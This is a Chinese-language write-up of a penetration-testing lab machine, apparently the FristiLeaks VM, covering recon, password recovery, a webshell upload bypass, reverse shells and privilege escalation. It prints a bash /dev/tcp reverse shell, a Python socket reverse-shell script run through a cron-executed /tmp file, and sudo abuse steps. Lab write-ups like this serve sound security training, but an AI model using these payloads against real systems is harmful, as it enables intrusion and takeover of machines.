文章目录
一、基础信息
二、信息收集
三、账号破解
四、文件上传
五、反弹shell
六、提权
一、基础信息
首先修改一下靶机的mac地址为:08:00:27:A5:A6:76,调整为nat模式
Kali IP:192.168.20.146
靶机IP:192.168.20.154
二、信息收集
nmap -sS -sV -p- -A 192.168.20.154
扫描到开放了80端口,并且有robots文件信息
访问一下页面,页面下面出现多个疑似用户名得东西,可以搜集一下
目录扫描
dirsearch -u http://192.168.20.154 -x 403
发现images目录和robots文件
进入图片目录将图片下载下来分析,好像也没用
查看robots文件下有三个路径,三张一样的图片,查看了一下没发现可利用的内容
使用awvs扫描没有可利用内容
Wp提示页面fristi,访问http://192.168.20.154/fristi/
查看页面源代码看到提示信息
疑似用户名TODO、eezeepz
三、账号破解
base64进行解码
cat base64.txt | base64 -d > decode
file decode ---发现这是图片
双击打开发现一串字符:keKkeKKeKKeKkEkkEk
还以为是什么加密或编码,试了一下没结果,可能是账户密码?
把上面收集得账户信息收集后爆破一下
获得账户密码:eezeepz/keKkeKKeKKeKkEkkEk
四、文件上传
登录成功后是一个文件上传页面
http://192.168.20.154/fristi/upload.php
通过正常上传一个图片可发现,上传目录在当前目录得uploads目录下
上传一句话木马
后缀修改为.php.jpg简单绕过,并成功解析,利用的是apache 1.x/2.x版本的解析漏洞
五、反弹shell
bash -i >& /dev/tcp/192.168.20.146/8080 0>&1
六、提权
因为当前只开放了80端口,无法通过收集用户信息进行ssh爆破,故继续收集其他信息
在www目录下找到了一个笔记
提示在主目录下可能有重要文件,通过查找发现了另外的笔记
翻译一下
意思大概就是在tmp目录下的runthis脚本会以admin账户的权限运行,每分钟执行一次
那我们创建脚本反弹一个admin账户权限的shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.20.146",9090));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
靶机上
echo "/usr/bin/python /tmp/runthis.py" > /tmp/runthis
等待一分钟,反弹shell成功,进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
有两个txt、两个py脚本
可看出主要是两串编码值和一个编码脚本,将其修改为解码脚本
import base64,codecs,sys
def decodeString(str):rot13string = codecs.decode(str[::-1], 'rot13')return base64.b64decode(rot13string)
print(decodeString(sys.argv[1]))
通过查看/etc/passwd文件可看到除root外有三个可登录用户
根据上面字符提示可能是fristigod用户密码,登录一下试试
尝试提权,通过查看sudo权限似乎有可利用的
尝试运行一下
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
提示后面跟着命令
提权成功